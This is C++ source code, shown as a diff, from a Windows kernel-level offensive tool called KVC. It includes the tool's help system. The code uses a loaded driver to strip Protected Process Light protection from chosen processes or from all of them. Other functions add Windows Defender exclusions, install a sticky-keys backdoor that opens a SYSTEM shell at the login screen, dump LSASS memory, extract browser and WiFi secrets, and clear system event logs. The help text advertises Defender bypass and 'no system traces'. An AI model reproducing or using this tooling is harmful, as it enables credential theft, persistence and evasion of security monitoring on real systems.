auto offset = m_of->GetOffset(Offset::ProcessProtection);
if (!offset) return false;
return m_rtc->Write8(addr + offset.value(), protection);
}
// Process name resolution with atomic driver operations
std::optional<ProcessMatch> Controller::ResolveProcessName(const std::wstring& processName) noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return std::nullopt;
}
auto matches = FindProcessesByName(processName);
if (matches.empty()) {
ERROR(L"No process found matching pattern: %s", processName.c_str());
PerformAtomicCleanup();
return std::nullopt;
}
if (matches.size() == 1) {
INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid);
PerformAtomicCleanup();
return matches[0];
}
ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str());
for (const auto& match : matches) {
std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n";
}
PerformAtomicCleanup();
return std::nullopt;
}
std::vector<ProcessMatch> Controller::FindProcessesByName(const std::wstring& pattern) noexcept {
std::vector<ProcessMatch> matches;
auto processes = GetProcessList();
for (const auto& entry : processes) {
if (IsPatternMatch(entry.ProcessName, pattern)) {
ProcessMatch match;
match.Pid = entry.Pid;
match.ProcessName = entry.ProcessName;
match.KernelAddress = entry.KernelAddress;
matches.push_back(match);
}
}
return matches;
}
// Driver-free process name resolution for lightweight operations
std::optional<ProcessMatch> Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept {
auto matches = FindProcessesByNameWithoutDriver(processName);
if (matches.empty()) {
ERROR(L"No process found matching pattern: %s", processName.c_str());
return std::nullopt;
}
if (matches.size() == 1) {
INFO(L"Found process: %s (PID %d)", matches[0].ProcessName.c_str(), matches[0].Pid);
return matches[0];
}
ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str());
for (const auto& match : matches) {
std::wcout << L" PID " << match.Pid << L": " << match.ProcessName << L"\n";
}
return std::nullopt;
}
std::vector<ProcessMatch> Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept {
std::vector<ProcessMatch> matches;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return matches;
}
PROCESSENTRY32W pe;
pe.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnapshot, &pe)) {
do {
std::wstring processName = pe.szExeFile;
if (IsPatternMatch(processName, pattern)) {
ProcessMatch match;
match.Pid = pe.th32ProcessID;
match.ProcessName = processName;
match.KernelAddress = 0; // Not available without driver
matches.push_back(match);
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return matches;
}
// Advanced pattern matching with regex support
bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept {
std::wstring lowerProcessName = processName;
std::wstring lowerPattern = pattern;
// Convert to lowercase for case-insensitive matching
std::transform(lowerProcessName.begin(), lowerProcessName.end(), lowerProcessName.begin(), ::towlower);
std::transform(lowerPattern.begin(), lowerPattern.end(), lowerPattern.begin(), ::towlower);
// Exact match
if (lowerProcessName == lowerPattern) return true;
// Substring match
if (lowerProcessName.find(lowerPattern) != std::wstring::npos) return true;
// Wildcard pattern matching
std::wstring regexPattern = lowerPattern;
// Escape special regex characters except *
std::wstring specialChars = L"\\^$.+{}[]|()";
for (auto& ch : regexPattern) {
if (specialChars.find(ch) != std::wstring::npos) {
regexPattern = std::regex_replace(regexPattern, std::wregex(std::wstring(1, ch)), L"\\" + std::wstring(1, ch));
}
}
// Convert * wildcards to regex .*
regexPattern = std::regex_replace(regexPattern, std::wregex(L"\\*"), L".*");
try {
std::wregex regex(regexPattern, std::regex_constants::icase);
return std::regex_search(lowerProcessName, regex);
} catch (const std::regex_error&) {
return false;
}
}
// Process information retrieval with atomic operations
bool Controller::GetProcessProtection(DWORD pid) noexcept {
bool driverWasLoaded = IsDriverCurrentlyLoaded();
bool needsCleanup = false;
// Only initialize driver if not already loaded
if (!driverWasLoaded) {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
needsCleanup = true;
}
auto kernelAddr = GetProcessKernelAddress(pid);
if (!kernelAddr) {
ERROR(L"Failed to get kernel address for PID %d", pid);
if (needsCleanup) PerformAtomicCleanup();
return false;
}
auto currentProtection = GetProcessProtection(kernelAddr.value());
if (!currentProtection) {
ERROR(L"Failed to read protection for PID %d", pid);
if (needsCleanup) PerformAtomicCleanup();
return false;
}
UCHAR protLevel = Utils::GetProtectionLevel(currentProtection.value());
UCHAR signerType = Utils::GetSignerType(currentProtection.value());
if (currentProtection.value() == 0) {
INFO(L"PID %d (%s) is not protected", pid, Utils::GetProcessName(pid).c_str());
} else {
INFO(L"PID %d (%s) protection: %s-%s (raw: 0x%02x)",
pid,
Utils::GetProcessName(pid).c_str(),
Utils::GetProtectionLevelAsString(protLevel),
Utils::GetSignerTypeAsString(signerType),
currentProtection.value());
}
if (needsCleanup) {
PerformAtomicCleanup();
}
return true;
}
bool Controller::GetProcessProtectionByName(const std::wstring& processName) noexcept {
auto match = ResolveNameWithoutDriver(processName);
if (!match) {
return false;
}
return GetProcessProtection(match->Pid);
}
// Enhanced protected process listing with color visualization
bool Controller::ListProtectedProcesses() noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
auto processes = GetProcessList();
DWORD count = 0;
// Enable console virtual terminal processing for color output
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
DWORD consoleMode = 0;
GetConsoleMode(hConsole, &consoleMode);
SetConsoleMode(hConsole, consoleMode | ENABLE_VIRTUAL_TERMINAL_PROCESSING);
// ANSI color codes
auto GREEN = L"\033[92m";
auto YELLOW = L"\033[93m";
auto BLUE = L"\033[94m";
auto HEADER = L"\033[97;44m";
auto RESET = L"\033[0m";
std::wcout << GREEN;
std::wcout << L"\n -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n";
std::wcout << HEADER;
std::wcout << L" PID | Process Name | Level | Signer | EXE sig. level | DLL sig. level | Kernel addr. ";
std::wcout << RESET << L"\n";
std::wcout << GREEN;
std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n";
for (const auto& entry : processes) {
if (entry.ProtectionLevel > 0) {
const wchar_t* processColor = GREEN;
// Color coding based on signature levels
bool hasUncheckedSignatures = (entry.SignatureLevel == 0x00 || entry.SectionSignatureLevel == 0x00);
if (hasUncheckedSignatures) {
processColor = BLUE; // Blue for processes with unchecked signatures
} else {
// Check if it's a user process (non-system signer)
bool isUserProcess = (entry.SignerType != static_cast<UCHAR>(PS_PROTECTED_SIGNER::Windows) &&
entry.SignerType != static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinTcb) &&
entry.SignerType != static_cast<UCHAR>(PS_PROTECTED_SIGNER::WinSystem) &&
entry.SignerType != static_cast<UCHAR>(PS_PROTECTED_SIGNER::Lsa));
processColor = isUserProcess ? YELLOW : GREEN;
}
std::wcout << processColor;
wchar_t buffer[512];
swprintf_s(buffer, L" %6d | %-28s | %-3s (%d) | %-11s (%d) | %-14s (0x%02x) | %-14s (0x%02x) | 0x%016llx\n",
entry.Pid,
entry.ProcessName.c_str(),
Utils::GetProtectionLevelAsString(entry.ProtectionLevel),
entry.ProtectionLevel,
Utils::GetSignerTypeAsString(entry.SignerType),
entry.SignerType,
Utils::GetSignatureLevelAsString(entry.SignatureLevel),
entry.SignatureLevel,
Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel),
entry.SectionSignatureLevel,
entry.KernelAddress);
std::wcout << buffer;
count++;
}
}
std::wcout << GREEN;
std::wcout << L" -------+------------------------------+---------+-----------------+-----------------------+-----------------------+--------------------\n";
std::wcout << RESET << L"\n";
SUCCESS(L"Enumerated %d protected processes", count);
PerformAtomicCleanup();
return true;
}
// Process protection manipulation with atomic operations
bool Controller::UnprotectProcess(DWORD pid) noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
auto kernelAddr = GetProcessKernelAddress(pid);
if (!kernelAddr) {
PerformAtomicCleanup();
return false;
}
auto currentProtection = GetProcessProtection(kernelAddr.value());
if (!currentProtection) {
PerformAtomicCleanup();
return false;
}
if (currentProtection.value() == 0) {
ERROR(L"PID %d is not protected", pid);
PerformAtomicCleanup();
return false;
}
if (!SetProcessProtection(kernelAddr.value(), 0)) {
ERROR(L"Failed to remove protection from PID %d", pid);
PerformAtomicCleanup();
return false;
}
SUCCESS(L"Removed protection from PID %d", pid);
PerformAtomicCleanup();
return true;
}
bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
auto kernelAddr = GetProcessKernelAddress(pid);
if (!kernelAddr) {
PerformAtomicCleanup();
return false;
}
auto currentProtection = GetProcessProtection(kernelAddr.value());
if (!currentProtection) {
PerformAtomicCleanup();
return false;
}
if (currentProtection.value() > 0) {
ERROR(L"PID %d is already protected", pid);
PerformAtomicCleanup();
return false;
}
auto level = Utils::GetProtectionLevelFromString(protectionLevel);
auto signer = Utils::GetSignerTypeFromString(signerType);
if (!level || !signer) {
ERROR(L"Invalid protection level or signer type");
PerformAtomicCleanup();
return false;
}
UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
if (!SetProcessProtection(kernelAddr.value(), newProtection)) {
ERROR(L"Failed to protect PID %d", pid);
PerformAtomicCleanup();
return false;
}
SUCCESS(L"Protected PID %d with %s-%s", pid, protectionLevel.c_str(), signerType.c_str());
PerformAtomicCleanup();
return true;
}
bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
auto level = Utils::GetProtectionLevelFromString(protectionLevel);
auto signer = Utils::GetSignerTypeFromString(signerType);
if (!level || !signer) {
ERROR(L"Invalid protection level or signer type");
PerformAtomicCleanup();
return false;
}
auto kernelAddr = GetProcessKernelAddress(pid);
if (!kernelAddr) {
PerformAtomicCleanup();
return false;
}
UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
if (!SetProcessProtection(kernelAddr.value(), newProtection)) {
ERROR(L"Failed to set protection on PID %d", pid);
PerformAtomicCleanup();
return false;
}
SUCCESS(L"Set protection %s-%s on PID %d", protectionLevel.c_str(), signerType.c_str(), pid);
PerformAtomicCleanup();
return true;
}
// Mass protection removal operations
bool Controller::UnprotectAllProcesses() noexcept {
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
auto processes = GetProcessList();
DWORD totalCount = 0;
DWORD successCount = 0;
INFO(L"Starting mass unprotection of all protected processes...");
for (const auto& entry : processes) {
if (entry.ProtectionLevel > 0) {
totalCount++;
if (SetProcessProtection(entry.KernelAddress, 0)) {
successCount++;
SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
} else {
ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str());
}
}
}
if (totalCount == 0) {
INFO(L"No protected processes found");
} else {
INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", successCount, totalCount);
}
PerformAtomicCleanup();
return successCount == totalCount;
}
bool Controller::UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept {
if (targets.empty()) {
ERROR(L"No targets specified for batch unprotection");
return false;
}
if (!PerformAtomicInitWithErrorCleanup()) {
return false;
}
DWORD successCount = 0;
DWORD totalCount = static_cast<DWORD>(targets.size());
INFO(L"Starting batch unprotection of %d targets...", totalCount);
for (const auto& target : targets) {
bool result = false;
// Check if target is numeric (PID)
if (Utils::IsNumeric(target)) {
auto pid = Utils::ParsePid(target);
if (pid) {
auto kernelAddr = GetProcessKernelAddress(pid.value());
if (kernelAddr) {
auto currentProtection = GetProcessProtection(kernelAddr.value());
if (currentProtection && currentProtection.value() > 0) {
if (SetProcessProtection(kernelAddr.value(), 0)) {
SUCCESS(L"Removed protection from PID %d", pid.value());
result = true;
} else {
ERROR(L"Failed to remove protection from PID %d", pid.value());
}
} else {
INFO(L"PID %d is not protected", pid.value());
result = true; // Consider this a success
}
}
} else {
ERROR(L"Invalid PID format: %s", target.c_str());
}
} else {
// Target is process name
auto matches = FindProcessesByName(target);
if (matches.size() == 1) {
auto match = matches[0];
auto currentProtection = GetProcessProtection(match.KernelAddress);
if (currentProtection && currentProtection.value() > 0) {
if (SetProcessProtection(match.KernelAddress, 0)) {
SUCCESS(L"Removed protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid);
result = true;
} else {
ERROR(L"Failed to remove protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid);
}
} else {
INFO(L"%s (PID %d) is not protected", match.ProcessName.c_str(), match.Pid);
result = true; // Consider this a success
}
} else {
ERROR(L"Could not resolve process name: %s", target.c_str());
}
}
if (result) successCount++;
}
INFO(L"Batch unprotection completed: %d/%d targets successfully processed", successCount, totalCount);
PerformAtomicCleanup();
return successCount == totalCount;
}
// Process name-based operations using composite pattern
bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept {
auto match = ResolveNameWithoutDriver(processName);
if (!match) {
return false;
}
return ProtectProcess(match->Pid, protectionLevel, signerType);
}
bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept {
auto match = ResolveNameWithoutDriver(processName);
if (!match) {
return false;
}
return UnprotectProcess(match->Pid);
}
bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept {
auto match = ResolveNameWithoutDriver(processName);
if (!match) {
return false;
}
return SetProcessProtection(match->Pid, protectionLevel, signerType);
}

View File

@@ -0,0 +1,142 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// ControllerSystemIntegration.cpp
#include "Controller.h"
#include "common.h"
#include "Utils.h"
// Self-protection operations for process elevation
bool Controller::SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept {
auto level = Utils::GetProtectionLevelFromString(protectionLevel);
auto signer = Utils::GetSignerTypeFromString(signerType);
if (!level || !signer) {
ERROR(L"Invalid protection level or signer type specified");
return false;
}
UCHAR newProtection = Utils::GetProtection(level.value(), signer.value());
return SetCurrentProcessProtection(newProtection);
}
bool Controller::SetCurrentProcessProtection(UCHAR protection) noexcept {
DWORD currentPid = GetCurrentProcessId();
auto kernelAddr = GetProcessKernelAddress(currentPid);
if (!kernelAddr) {
ERROR(L"Failed to get kernel address for current process");
return false;
}
return SetProcessProtection(kernelAddr.value(), protection);
}
bool Controller::EnableDebugPrivilege() noexcept {
HANDLE hToken;
TOKEN_PRIVILEGES tokenPrivileges;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return false;
LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tokenPrivileges.Privileges[0].Luid);
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool result = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, 0);
CloseHandle(hToken);
return result;
}
// TrustedInstaller integration for maximum privilege operations
bool Controller::RunAsTrustedInstaller(const std::wstring& commandLine) {
return m_trustedInstaller.RunAsTrustedInstaller(commandLine);
}
bool Controller::RunAsTrustedInstallerSilent(const std::wstring& command) {
return m_trustedInstaller.RunAsTrustedInstallerSilent(command);
}
bool Controller::AddContextMenuEntries() {
return m_trustedInstaller.AddContextMenuEntries();
}
// Legacy Defender exclusion management (backward compatibility)
bool Controller::AddToDefenderExclusions(const std::wstring& customPath) {
return m_trustedInstaller.AddToDefenderExclusions(customPath);
}
bool Controller::RemoveFromDefenderExclusions(const std::wstring& customPath) {
return m_trustedInstaller.RemoveFromDefenderExclusions(customPath);
}
// Enhanced Defender exclusion management with type specification
bool Controller::AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) {
return m_trustedInstaller.AddDefenderExclusion(type, value);
}
bool Controller::RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) {
return m_trustedInstaller.RemoveDefenderExclusion(type, value);
}
// Type-specific exclusion convenience methods
bool Controller::AddExtensionExclusion(const std::wstring& extension) {
return m_trustedInstaller.AddExtensionExclusion(extension);
}
bool Controller::RemoveExtensionExclusion(const std::wstring& extension) {
return m_trustedInstaller.RemoveExtensionExclusion(extension);
}
bool Controller::AddIpAddressExclusion(const std::wstring& ipAddress) {
return m_trustedInstaller.AddIpAddressExclusion(ipAddress);
}
bool Controller::RemoveIpAddressExclusion(const std::wstring& ipAddress) {
return m_trustedInstaller.RemoveIpAddressExclusion(ipAddress);
}
bool Controller::AddProcessExclusion(const std::wstring& processName) {
return m_trustedInstaller.AddProcessToDefenderExclusions(processName);
}
bool Controller::RemoveProcessExclusion(const std::wstring& processName) {
return m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName);
}
bool Controller::AddPathExclusion(const std::wstring& path) {
return m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path);
}
bool Controller::RemovePathExclusion(const std::wstring& path) {
return m_trustedInstaller.RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path);
}
// Sticky keys backdoor operations with TrustedInstaller integration
bool Controller::InstallStickyKeysBackdoor() noexcept {
return m_trustedInstaller.InstallStickyKeysBackdoor();
}
bool Controller::RemoveStickyKeysBackdoor() noexcept {
return m_trustedInstaller.RemoveStickyKeysBackdoor();
}

494
kvc/HelpSystem.cpp Normal file
View File

@@ -0,0 +1,494 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include <windows.h>
#include "HelpSystem.h"
#include <iostream>
#include <iomanip>
void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
{
PrintHeader();
std::wcout << L"Usage: " << programName << L" <command> [arguments]\n\n";
PrintServiceCommands();
PrintBasicCommands();
PrintProtectionCommands();
PrintSystemCommands();
PrintBrowserCommands();
PrintDefenderCommands();
PrintDPAPICommands();
PrintProtectionTypes();
PrintExclusionTypes();
PrintPatternMatching();
PrintTechnicalFeatures();
PrintDefenderNotes();
PrintStickyKeysInfo();
PrintUndumpableProcesses();
PrintUsageExamples(programName);
PrintSecurityNotice();
PrintFooter();
}
void HelpSystem::PrintHeader() noexcept
{
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO csbi;
GetConsoleScreenBufferInfo(hConsole, &csbi);
WORD originalColor = csbi.wAttributes;
const int width = 80;
// Blue header border
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"\n";
std::wcout << L"================================================================================\n";
// Centered text printing with white color
auto printCentered = [&](const std::wstring& text) {
int textLen = static_cast<int>(text.length());
int padding = (width - textLen) / 2;
if (padding < 0) padding = 0;
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << std::wstring(padding, L' ') << text << L"\n";
};
printCentered(L"Marek Wesolowski - WESMAR - 2025");
printCentered(L"kvc.exe v1.0.1 https://kvc.pl");
printCentered(L"+48 607-440-283, marek@wesolowski.eu.org");
printCentered(L"kvc - Kernel Vulnerability Capabilities Framework");
printCentered(L"Comprehensive Windows Security Research & Penetration Framework");
printCentered(L"Features Process Protection, DPAPI Extraction, Defender Bypass & More");
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
std::wcout << L"================================================================================\n\n";
// Restore original console color
SetConsoleTextAttribute(hConsole, originalColor);
}
void HelpSystem::PrintServiceCommands() noexcept
{
PrintSectionHeader(L"Service Management Commands (Advanced Scenarios)");
PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat");
PrintCommandLine(L"install", L"Install as NT service with TrustedInstaller privileges");
PrintCommandLine(L"uninstall", L"Uninstall NT service");
PrintCommandLine(L"service start", L"Start the Kernel Vulnerability Capabilities Framework service");
PrintCommandLine(L"service stop", L"Stop the Kernel Vulnerability Capabilities Framework service");
PrintCommandLine(L"service status", L"Check service status");
std::wcout << L"\n";
}
void HelpSystem::PrintBasicCommands() noexcept
{
PrintSectionHeader(L"Memory Dumping Commands");
PrintCommandLine(L"dump <PID|process_name> [path]", L"Create comprehensive memory dump");
PrintNote(L"Default path is the Downloads folder - simple: 'kvc dump lsass'");
PrintWarning(L"MsMpEng dump only works with Defender disabled (otherwise Ctrl+C)");
std::wcout << L"\n";
PrintSectionHeader(L"Process Information Commands");
PrintCommandLine(L"list", L"List all protected processes with color coding");
PrintCommandLine(L"get <PID|process_name>", L"Get protection status of specific process");
PrintCommandLine(L"info <PID|process_name>", L"Get detailed process info including dumpability");
std::wcout << L"\n";
}
void HelpSystem::PrintProtectionCommands() noexcept
{
PrintSectionHeader(L"Process Protection Commands");
PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
PrintCommandLine(L"unprotect <PID|process_name>", L"Remove protection from specific process");
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
std::wcout << L"\n";
}
void HelpSystem::PrintSystemCommands() noexcept
{
PrintSectionHeader(L"System Integration Commands");
PrintCommandLine(L"shift", L"Install sticky keys backdoor (5x Shift = SYSTEM cmd)");
PrintCommandLine(L"unshift", L"Remove sticky keys backdoor");
PrintCommandLine(L"trusted <command>", L"Run command with elevated system privileges");
PrintCommandLine(L"install-context", L"Add context menu entries for right-click access");
PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)");
std::wcout << L"\n";
}
void HelpSystem::PrintDefenderCommands() noexcept
{
PrintSectionHeader(L"Enhanced Windows Defender Exclusion Management");
PrintCommandLine(L"add-exclusion <path>", L"Add file/folder to exclusions (legacy syntax)");
PrintCommandLine(L"add-exclusion Paths <path>", L"Add specific path to exclusions");
PrintCommandLine(L"add-exclusion Processes <name>", L"Add process to exclusions");
PrintCommandLine(L"add-exclusion Extensions <ext>", L"Add file extension to exclusions");
PrintCommandLine(L"add-exclusion IpAddresses <ip>", L"Add IP address/CIDR to exclusions");
PrintCommandLine(L"remove-exclusion [TYPE] <value>", L"Remove exclusion (same syntax as add)");
PrintNote(L"When no path specified, adds current program to both Paths and Processes");
std::wcout << L"\n";
}
void HelpSystem::PrintDPAPICommands() noexcept
{
PrintSectionHeader(L"DPAPI Secrets Extraction Commands");
PrintCommandLine(L"export secrets [path]", L"Extract browser & WiFi secrets using TrustedInstaller");
PrintNote(L"Default path is the Downloads folder - simple: 'kvc export secrets'");
PrintNote(L"Extracts Chrome, Edge passwords + WiFi credentials + master keys");
std::wcout << L"\n";
}
void HelpSystem::PrintProtectionTypes() noexcept
{
PrintSectionHeader(L"Protection Types");
std::wcout << L" PP - Protected Process (highest protection level)\n";
std::wcout << L" PPL - Protected Process Light (medium protection level)\n\n";
PrintSectionHeader(L"Signer Types");
std::wcout << L" Authenticode - Standard code signing authority\n";
std::wcout << L" CodeGen - Code generation process signing\n";
std::wcout << L" Antimalware - Antimalware vendor signing (for security software)\n";
std::wcout << L" Lsa - Local Security Authority signing\n";
std::wcout << L" Windows - Microsoft Windows component signing\n";
std::wcout << L" WinTcb - Windows Trusted Computing Base signing\n";
std::wcout << L" WinSystem - Windows System component signing\n";
std::wcout << L" App - Application store signing\n\n";
}
void HelpSystem::PrintExclusionTypes() noexcept
{
PrintSectionHeader(L"Exclusion Types");
std::wcout << L" Paths - File/folder paths (C:\\malware.exe, C:\\temp\\)\n";
std::wcout << L" Processes - Process names (malware.exe, cmd.exe)\n";
std::wcout << L" Extensions - File extensions (.exe, .dll, .tmp)\n";
std::wcout << L" IpAddresses - IP addresses/CIDR (192.168.1.1, 10.0.0.0/24)\n\n";
}
void HelpSystem::PrintPatternMatching() noexcept
{
PrintSectionHeader(L"Process Name Matching");
std::wcout << L" - Exact match: 'explorer', 'notepad'\n";
std::wcout << L" - Partial match: 'total' matches 'totalcmd64'\n";
std::wcout << L" - Wildcards: 'total*' matches 'totalcmd64.exe'\n";
std::wcout << L" - Case insensitive matching supported\n";
std::wcout << L" - Multiple matches require more specific patterns\n\n";
}
void HelpSystem::PrintTechnicalFeatures() noexcept
{
PrintSectionHeader(L"TrustedInstaller Features");
std::wcout << L" - Executes commands with maximum system privileges\n";
std::wcout << L" - Supports .exe files and .lnk shortcuts automatically\n";
std::wcout << L" - Adds convenient context menu entries\n";
std::wcout << L" - Enhanced Windows Defender exclusion management\n\n";
PrintSectionHeader(L"Technical Features");
std::wcout << L" - Dynamic kernel driver loading (no permanent installation)\n";
std::wcout << L" - Embedded encrypted driver with steganographic protection\n";
std::wcout << L" - Automatic privilege escalation for memory dumping\n";
std::wcout << L" - Complete cleanup on exit (no system traces)\n";
std::wcout << L" - Advanced process pattern matching\n";
std::wcout << L" - Color-coded process protection visualization\n";
std::wcout << L" - IFEO sticky keys backdoor with Defender bypass\n";
std::wcout << L" - Self-protection capabilities for advanced scenarios\n";
std::wcout << L" - Comprehensive Windows Defender exclusion management\n\n";
}
void HelpSystem::PrintDefenderNotes() noexcept
{
PrintSectionHeader(L"Defender Exclusion Notes");
std::wcout << L" Defender exclusions use PowerShell Add-MpPreference commands with TrustedInstaller.\n";
std::wcout << L" Extensions: Automatically adds leading dot if missing (.exe, not exe)\n";
std::wcout << L" Processes: Extracts filename from full path if provided\n";
std::wcout << L" IpAddresses: Supports CIDR notation (192.168.1.0/24)\n";
std::wcout << L" Self-protection: When no arguments, adds to both Paths and Processes\n";
std::wcout << L" Legacy syntax (kvc add-exclusion file.exe) still works for compatibility\n\n";
}
void HelpSystem::PrintStickyKeysInfo() noexcept
{
PrintSectionHeader(L"Sticky Keys Backdoor Features");
std::wcout << L" - Press 5x Shift on login screen to get SYSTEM cmd.exe\n";
std::wcout << L" - Works without login or active session\n";
std::wcout << L" - Bypasses Windows Defender with process exclusions\n";
std::wcout << L" - Uses Image File Execution Options (IFEO) technique\n";
std::wcout << L" - Complete cleanup with 'unshift' command\n\n";
PrintSectionHeader(L"Sticky Keys Backdoor Notes");
std::wcout << L" After 'kvc shift', press 5x Shift on Windows login screen to get cmd.exe.\n";
std::wcout << L" The cmd runs with SYSTEM privileges without requiring login.\n";
std::wcout << L" Defender process exclusions prevent detection of cmd.exe activity.\n";
std::wcout << L" Use 'kvc unshift' to completely remove all traces.\n";
std::wcout << L" This technique works on Windows 7-11, including Server editions.\n\n";
}
void HelpSystem::PrintUndumpableProcesses() noexcept
{
PrintSectionHeader(L"Undumpable System Processes");
std::wcout << L" - System (PID 4) - Windows kernel process\n";
std::wcout << L" - Secure System (PID 188) - VSM/VBS protected process\n";
std::wcout << L" - Registry (PID 232) - Kernel registry subsystem\n";
std::wcout << L" - Memory Compression - Kernel memory manager\n";
std::wcout << L" - [Unknown] processes - Transient kernel processes\n\n";
}
void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
{
PrintSectionHeader(L"Usage Examples");
const int commandWidth = 50;
auto printLine = [&](const std::wstring& command, const std::wstring& description) {
std::wcout << L" " << std::left << std::setw(commandWidth)
<< (std::wstring(programName) + L" " + command)
<< L"# " << description << L"\n";
};
printLine(L"shift", L"Install sticky keys backdoor");
printLine(L"unshift", L"Remove sticky keys backdoor");
printLine(L"install", L"Install as NT service (advanced)");
printLine(L"service start", L"Start the service");
printLine(L"uninstall", L"Remove service");
printLine(L"dump lsass C:\\dumps", L"Dump LSASS to specific folder");
printLine(L"dump 1044", L"Dump PID 1044 to Downloads folder");
printLine(L"list", L"Show all protected processes");
printLine(L"info lsass", L"Detailed info with dumpability analysis");
printLine(L"protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware");
printLine(L"set 5678 PP Windows", L"Force set PP-Windows protection");
printLine(L"unprotect lsass", L"Remove protection from LSASS");
printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
